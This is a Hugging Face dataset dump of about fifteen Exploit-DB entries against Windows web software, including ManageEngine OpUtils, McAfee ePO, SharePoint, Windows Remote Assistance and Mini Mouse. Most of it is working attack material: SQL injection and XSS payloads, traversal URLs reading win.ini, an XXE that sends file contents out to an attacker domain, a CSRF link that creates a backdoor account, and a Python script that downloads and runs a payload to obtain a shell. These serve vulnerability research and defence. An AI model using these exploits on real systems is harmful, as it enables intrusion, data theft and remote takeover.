deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11330
Description: ManageEngine OpUtils 5 - 'Login.DO' SQL Injection
Type: webapps
Platform: windows
Date: 2010-02-04
Author: Asheesh Anaconda

Exploit:
                     ================================================================================

                      ManageEngine OpUtils 5 "Login.DO" SQL Injection Vulnerability
                     ================================================================================

#Date-3/2/10
# code by Asheesh kumar Mani Tripathi

#         AKS IT Services

# Credit by Asheesh Anaconda


#Download http://www.manageengine.com/products/oputils

#Vulnerbility 
ManageEngine OpUtils 5 is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database


========================================================================================================================

                                                           Request
========================================================================================================================

POST /Login.do HTTP/1.1
Host: localhost:7080
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://localhost:7080/Login.do
Cookie: JSESSIONID=738A4E8130CBE2A0D5E857D9EBF9820E; 32=temp; 83=temp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136

cookieexists=true&username=asheesh&[CREDENTIAL_REDACTED]=+&log=WARNING&locationUrl=localhost&isHttpPort=false"+and+31337-31337="0



========================================================================================================================
                                                          Response
========================================================================================================================


HTTP/1.1 200 OK
Content-Type: text/html;charset=ISO-8859-1
Date: Wed, 03 Feb 2010 15:24:08 GMT
Server: Apache-Coyote/1.1
Content-Length: 20583
Exploit-DB #20643
Description: ManageEngine OpUtils 6.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2012-08-18
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: ManageEngine OpUtils
# Version: 6
# Vendor Site: http://www.manageengine.com
# Software Download: http://www.manageengine.com/products/oputils/download.html

# Software Description:
# http://www.manageengine.com/products/oputils/oputils.html
# The toolset can be used to troubleshoot the frequent network problems such as network 
# connectivity, availability, performance, health, and latency of any IP node in the network. 
# It provides desktop details like CPU, Disk space information, installed software, 
# process information and other vital metrics. Readymade tools to manage DNS names, 
# IP and MAC addresses are also available. SNMP tools are included to help monitor 
# any SNMP-enabled IP node. Graphs, charts, and tables offer real-time views of 
# the network and system information. Results can be exported as reports in various 
# formats like PDF and HTML.

# Vulnerability:
# The XSS is triggered by configuring a snmpd.conf file to point to an attacker-controlled
# JavaScript file
# ..
# syslocation <script src="http://attacker/xss.js"></script>
# syscontact <iframe src="http://attacker/something.html"></iframe>

# 
# Adding the target machine either via a network scan or manually by adding the IP to the host list 
# ManageEngine monitors. When a SNMP Scan is initiated, we are presented with a couple of 
# nice alert boxes.
#
Exploit-DB #10428
Description: Maxs AJAX File Uploader - Arbitrary File Upload
Type: webapps
Platform: windows
Date: 2009-12-14
Author: ViRuSMaN

Exploit:
##############################################################
|
| Max's AJAX File Uploader Remote File Upload Vulnerability
|
| Author : [ViRuSMaN]
|
| Contact : [v.-m@live.com]
|
| Home : [Islam-Attack.CoM , HackTeach.OrG]
|
| Download : [http://www.ajaxf1.com/download.html?dl=12]
|
##############################################################
|
|
| Exp :
|
| 1- Upload Your Shell [yourshell.php]
|
| 2- Pwd Your Shell [xxxx.com/path/yourshell.php]
|
|
##############################################################
|
| Greets : All members of islam-attack.com , hackteach.org & All Muslim's
|
##############################################################
Exploit-DB #46518
Description: McAfee ePO 5.9.1 - Registered Executable Local Access Bypass
Type: webapps
Platform: windows
Date: 2019-03-08
Author: leonjza

Exploit:
# Exploit Title: McAfee ePO 5.9.1 Registered Executable Local Access Bypass
# Date: 2019-03-07
# Exploit Author: @leonjza
# Vendor Homepage: https://www.mcafee.com/
# Software Link: https://www.mcafee.com/enterprise/en-us/products/epolicy-orchestrator.html
# Version: ePO v5.9.1
# Tested on: Windows Server 2012
# CVE : cve-2018-6671

GIST LINK: https://gist.github.com/leonjza/17eb8ed9cba0ea1d2c70b82782c6d949

# CVE-2018-6671 McAfee ePO 5.9.1 Registered Executable Local Access Bypass
# Specifying an X-Forwarded-For header bypasses the local only check
# https://kc.mcafee.com/corporate/index?page=content&id=SB10240
# https://nvd.nist.gov/vuln/detail/CVE-2018-6671
#
# 2019 @leonjza
#
# Tested on ePO v5.9.1, missing hotfix EPO5xHF1229850

POST /Notifications/testRegExe.do HTTP/1.1
Host: 192.168.1.26:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.26:8443/Notifications/addRegExecutable.do?orion.user.security.token=Bp5pZJOQll2vryhC
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 284
DNT: 1
Connection: close
Cookie: JSESSIONID=645BCB1CE5B7DBE1B9EDC7BB9F2F7349.route1;
orion.login.language="language:en&country:";
orion.content.size="width:1384&height:699";
JSESSIONIDSSO=4D970A5F2DBF48309F796DF38B80FC15
X-Forwarded-For: 127.0.0.1

orion.user.security.token=Bp5pZJOQll2vryhC&orion.user.security.token=Bp5pZJOQll2vryhC&executableName=CVE-2018-6671%20PoC&executablePath=c:\windows\system32\cmd.exe&userName=&pass=&passConfirm=&testExeArgs=/c
whoami > c:\CVE-2018-6671.txt&testExeTime=60000&objectId=0&ajaxMode=standard


-- 
L.
:wq!
Exploit-DB #10225
Description: MDaemon WebAdmin 2.0.x - SQL Injection
Type: webapps
Platform: windows
Date: 2006-05-26
Author: KOUSULIN

Exploit:
# Exploit Title: MDaemon WebAdmin 2.0.X SQL injection
# Date: 2006/5/26
# Author: KOUSULIN
# Software Link: http://archive.altn.com/WebAdmin/Archive/2.0.8/wa208_en.exe
# Version: WebAdmin 2.0.X
# Tested on: Windows 2003
# CVE : N/A
# Code :

/WebAdmin.dll?Session='[ACCESS SQL INJ]&View=User

/WebAdmin.dll?Session='or''='&View=User  # need a active session

/WebAdmin.dll?Session='UNION SELECT * FROM A IN 'C:\ZZZ' WHERE ''='&View=User
Exploit-DB #45665
Description: MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection
Type: webapps
Platform: windows
Date: 2018-10-23
Author: Ihsan Sencan

Exploit:
# Exploit Title: MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-10-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.m-gb.org/
# Software Link: https://sourceforge.net/projects/mopzz-gb/files/latest/download
# Version: 0.7.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/email.php?id=[SQL]
 
GET /[PATH]/email.php?id=admin%27++uniOn+selEct+(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c%32%2c%33%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 23 Oct 2018 15:50:23 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: newentry=rjic8lu5atciee1fsacguocub3; path=/
Set-Cookie: newentry=jd795jb06ni96fqhir90cahhp7; path=/
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #19525
Description: Microsoft IIS - Short File/Folder Name Disclosure
Type: webapps
Platform: windows
Date: 2012-07-02
Author: Soroush Dalili

Exploit:
PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19525.zip
Paper: http://www.exploit-db.com/docs/19527.pdf


Security Research - IIS Short File/Folder Name Disclosure


Website : http://soroush.secproject.com/blog/



I. BACKGROUND
---------------------

"IIS is a web server application and set of 
feature extension modules created by Microsoft for use with Microsoft Windows.
IIS is the third most popular server in the world." (Wikipedia)

II. DESCRIPTION
---------------------

Vulnerability Research Team discovered a  vulnerability
in Microsoft IIS.

The vulnerability is caused by a tilde character "~" in a Get request, which could allow remote attackers
to diclose File and Folder names.


III. AFFECTED PRODUCTS
---------------------------

    IIS 1.0, Windows NT 3.51 
    IIS 2.0, Windows NT 4.0
    IIS 3.0, Windows NT 4.0 Service Pack 2
    IIS 4.0, Windows NT 4.0 Option Pack
    IIS 5.0, Windows 2000
    IIS 5.1, Windows XP Professional and Windows XP Media Center Edition 
    IIS 6.0, Windows Server 2003 and Windows XP Professional x64 Edition
    IIS 7.0, Windows Server 2008 and Windows Vista
    IIS 7.5, Windows 7 (error remotely enabled or no web.config)
    IIS 7.5, Windows 2008 (classic pipeline mode)

    Note: Does not work when IIS uses .Net Framework 4.
	
IV. Binary Analysis & Exploits/PoCs
---------------------------------------
Tilde character "~" can be used to find short names of files and folders when the website is running on IIS.
The attacker can find important file and folders that they are not normaly visible.
In-depth technical analysis of the vulnerability and a functional exploit
are available through:

http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/

V. SOLUTION
----------------

There are still workarounds through Vendor and security vendors.
Using a configured WAF may be usefull (discarding web requests including the tilde "~" character).

VI. CREDIT
--------------

This vulnerability was discovered by:

Soroush Dalili (@irsdl)
Ali Abbasnejad


VII. REFERENCES
----------------------

http://support.microsoft.com/kb/142982/en-us
http://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/

VIII. DISCLOSURE TIMELINE
-----------------------------

2010-08-01 - Vulnerability Discovered
2010-08-03 - Vendor Informed
2010-12-01 - Vendor 1st Response
2011-01-04 - Vendor 2nd Response (next version fix)
2012-06-29 - Public Disclosure
Exploit-DB #12728
Description: Microsoft Outlook Web Access (OWA) 8.2.254.0 - Information Disclosure
Type: webapps
Platform: windows
Date: 2010-05-24
Author: Praveen Darshanam

Exploit:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

"Microsoft Outlook Web Access (OWA) version 8.2.254.0"

OS: Windows Server 2003

Internet Explorer 7

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

There is an information disclosure vulnerability in "Microsoft Outlook Web
Access (OWA) version 8.2.254.0".

The issue is with the id parameter.

Following are different exploitation techniques:

https://example.com/owa/?ae=Folder&t=IPF.Note&id=<script>alert("HHH")</script<https://example.com/owa/?ae=Folder&t=IPF.Note&id=%3cscript%3ealert(%22HHH%22)%3c/script>
>

https://example.com/owa/?ae=Folder&t=IPF.Note&id=

https://example.com/owa/?ae=Folder&t=IPF.Note&id=A



Best Regards,
Praveen Darshanam,
Security Researcher,
INDIA
Exploit-DB #12450
Description: Microsoft SharePoint Server 2007 - Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2010-04-29
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22350

Reference:
http://www.htbridge.ch/advisory/xss_in_microsoft_sharepoint_server_2007.html
http://www.microsoft.com/technet/security/advisory/983438.mspx

Product: Microsoft SharePoint Server 2007

Vendor: Microsoft Corporation

Vulnerable Version: 12.0.0.6421 and Probably Prior Versions Vendor
Notification: 12 April 2010 Vulnerability Type: XSS (&#1057;ross Site S&#1089;ri&#1088;ting)

Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level:
Medium

Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details:

User can execute arbitrary JavaScript code within the vulnerable
application.

The vulnerability exists due to failure in the "/_layouts/help.aspx" script
to properly sanitize user-supplied input in "cid0" variable. Successful
exploitation of this vulnerability could result in a compromise of the
application, theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC
is available:

http://host/_layouts/help.aspx?cid0=MS.WSS.manifest.xml%00%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E&tid=X
Exploit-DB #44352
Description: Microsoft Windows Remote Assistance - XML External Entity Injection
Type: webapps
Platform: windows
Date: 2018-03-28
Author: Nabeel Ahmed

Exploit:
# Exploit Title: Microsoft Windows Remote Assistance XXE
# Date: 27/03/2018
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 (x64), Windows 10 (x64)
# CVE : CVE-2018-0878
# Category: Remote Exploits

Invitation.msrcincident
------------------------
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE zsl [  
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">  
%remote;%root;%oob;]>

xxe.xml
------------------------
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">

Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)
Exploit-DB #49743
Description: Mini Mouse 9.2.0 - Remote Code Execution
Type: webapps
Platform: windows
Date: 2021-04-05
Author: gosh

Exploit:
# Exploit Title: Mini Mouse 9.2.0 - Remote Code Execution
# Author: gosh
# Date: 01-04-2021
# Vendor Homepage: http://yodinfo.com
# Software Link: https://imgv.oss-cn-hangzhou.aliyuncs.com/minimouse.msi
# Version: 9.2.0
# Tested on: Windows 10 Pro build 19042.662

#!/usr/bin/python3
import requests
import json
import jsonargparse
from time import sleep

ip = input("target's ip:  ")
lhost = input("local http server ip: ")
name = input("payload file name: ")
url = "http://{}:8039/op=command".format(ip)
headers = {"Content-Type": "application/json", "Connection": "keep-alive", "Accept": "*/*", "User-Agent": "MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)", "Accept-Language": "en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8", "Accept-Encoding": "gzip, deflate"}
down = {"command_operate_type": 0, "name": "abc", "script": f"certutil.exe -urlcache -split -f http://{lhost}/{name} C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000}
r = requests.post(url, headers=headers, json=down)
print("[+] Retrieving payload")
sleep(1)
shell={"command_operate_type": 0, "name": "abd", "script": f"start /B C:\\Windows\\Temp\\{name}", "time": 0, "type": 100000}
s = requests.post(url, headers=headers, json=shell)
print (r.status_code)
print ("[+] got shell!")
Exploit-DB #44907
Description: Mirasys DVMS Workstation 5.12.6 - Path Traversal
Type: webapps
Platform: windows
Date: 2018-06-20
Author: Onvio

Exploit:
# Exploit Title: Path Traversal in Gateway in Mirasys DVMS Workstation <= 5.12.6  
# Date: 10-06-2018
# Exploit Author: Onvio, Dick Snel, https://www.onvio.nl
# Vendor Homepage: https://www.mirasys.com/
# Software Link: https://www.onvio.nl/binaries/mirasys_5_12_6.zip
# Version: <= 5.12.6
# Tested on: Windows 10 Pro x64
# CVE : CVE-2018-8727

1. Description

Path Traversal in Gateway in Mirasys DVMS Workstation <= 5.12.6 allows an attacker to traverse the file system to access files or directories via the Web Client webserver.

More detail on the exploit: https://www.onvio.nl/nieuws/cve-mirasys-vulnerability

2. Proof of Concept

http://localhost:9999/.../.../.../.../.../.../.../.../.../windows/win.ini
; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 

3. Solution

Upgrade to any version > 5.12.6
Exploit-DB #44034
Description: NAT32 2.2 Build 22284 - Cross-Site Request Forgery
Type: webapps
Platform: windows
Date: 2018-02-14
Author: hyp3rlinx

Exploit:
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CSRF-CVE-2018-6941.txt
[+] ISR: Apparition Security

[-_-] D1rty0tis
	

Vendor:
=============
www.nat32.com


Product:
===========
NAT32 Build (22284)

NAT32® is a versatile IP Router implemented as a WIN32 application.


Vulnerability Type:
===================
Remote Command Execution (CSRF)


CVE Reference:
==============
CVE-2018-6941


Security Issue:
================
CSRF issue exists in the HTTPD component of NAT32 v2.2 Build 22284 devices that can be exploited for Remote Code Execution.

Remote attackers can potentially execute arbitrary System Commands due to a Cross Site Request Forgery, if an authenticated NAT32 user clicks a malicious link
or visits an attacker controlled webpage as NAT32 performs no check for blind requests.

Its also worth mentioning is NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network.


Exploit/POC:
=============
<a href="http://VICTIM-IP:8080/shell?cmd=exec+net%20user%20HACKER%20abc123%20/add">Backdoor clicker</a>



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification: February 9, 2018
Vendor acknowledgement: February 9, 2018
Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018
www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018
February 14, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
Exploit-DB #44497
Description: Ncomputing vSpace Pro 10/11 - Directory Traversal
Type: webapps
Platform: windows
Date: 2018-04-23
Author: Javier Bernardo

Exploit:
# Exploit Title: Ncomputing vSpace Pro v10 and v11 - Directory Traversal Vulnerability
# Date: 2018-04-20
# Software Vendor: NComputing
# Software Link: 
# Author: Javier Bernardo
# Contact: javier@kwell.net
# Website: http://www.kwell.net
# CVE: CVE-2018-10201
# Category: Webapps

#[Description]
#
#It is possible to read arbitrary files outside the root directory of
#the web server. This vulnerability could be exploited remotely by a
#crafted URL without credentials, with …/ or …\ or …./ or ….\ as a
#directory-traversal pattern to TCP port 8667.
#
#An attacker can make use of this vulnerability to step out of the root
#directory and access other parts of the file system. This might give
#the attacker the ability to view restricted files, which could provide
#the attacker with more information required to further compromise the system.

#[PoC]

nmap -p T:8667 -Pn your_vSpace_server

Nmap scan report for your_vSpace_server (x.x.x.x)
Host is up (0.044s latency).

PORT     STATE SERVICE
8667/tcp open  unknown

http://your_vSpace_server:8667/.../.../.../.../.../.../.../.../.../windows/win.ini

http://your_vSpace_server:8667/...\...\...\...\...\...\...\...\...\windows\win.ini

http://your_vSpace_server:8667/..../..../..../..../..../..../..../..../..../windows/win.ini

http://your_vSpace_server:8667/....\....\....\....\....\....\....\....\....\windows\win.ini
Exploit-DB #38762
Description: Netwin SurgeFTP Sever 23d6 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2015-11-19
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit Netwin SurgeFTP Sever Stored Cross Site Scripting Vulnerabilities 
# Date: 11/18/2015
# Exploit Author: Un_N0n
# Vendor: NetWin
# Software Link: http://netwinsite.com/cgi-bin/keycgi.exe?cmd=download&product=surgeftp
# Version: 23d6
# Tested on: Windows 7 x64(64bit)
********************************************************************************************
[Info]

Surgeftp web-interface suffers with multiple Stored XSS vulnerabilities.

They are:

Stored XSS in 'Domain Name' field.

[How to?]
1. Open SurgeFTP web interface, Click on global option from the menu.
2. Add a new domain, in 'Domain Name' field, add in this(<img src=x onmouseover=alert(1)>) payload.
3. Save, then navigate to main page, hover mouse over 'broken image' in 'domains' section.

Stored XSS in 'Mirrors'.

[How to?]
1. Open surgeftp web interface, Click on 'Mirrors' option from the menu.
2. Click on Add Mirror, in 'Local path' & 'Remote Host' field add in this(<img src=x onmouseover=alert(1)>) payload.
3. Save, then navigate to 'Mirror' page again, Hover mouse over the 'broken image' in 'local path' & 'remote host' field.

Previously, Somebody else reported Stored XSS vulnerabilities in SurgeFTP.
Vendor tried to fix the previously reported XSS vulnerabilities by blacklisting only the <script>alert('blah')</script> payload
which is well not a good practice since i have triggered the same vulnerability by just entering different XSS payload,
therefore White-listing is the correct solution.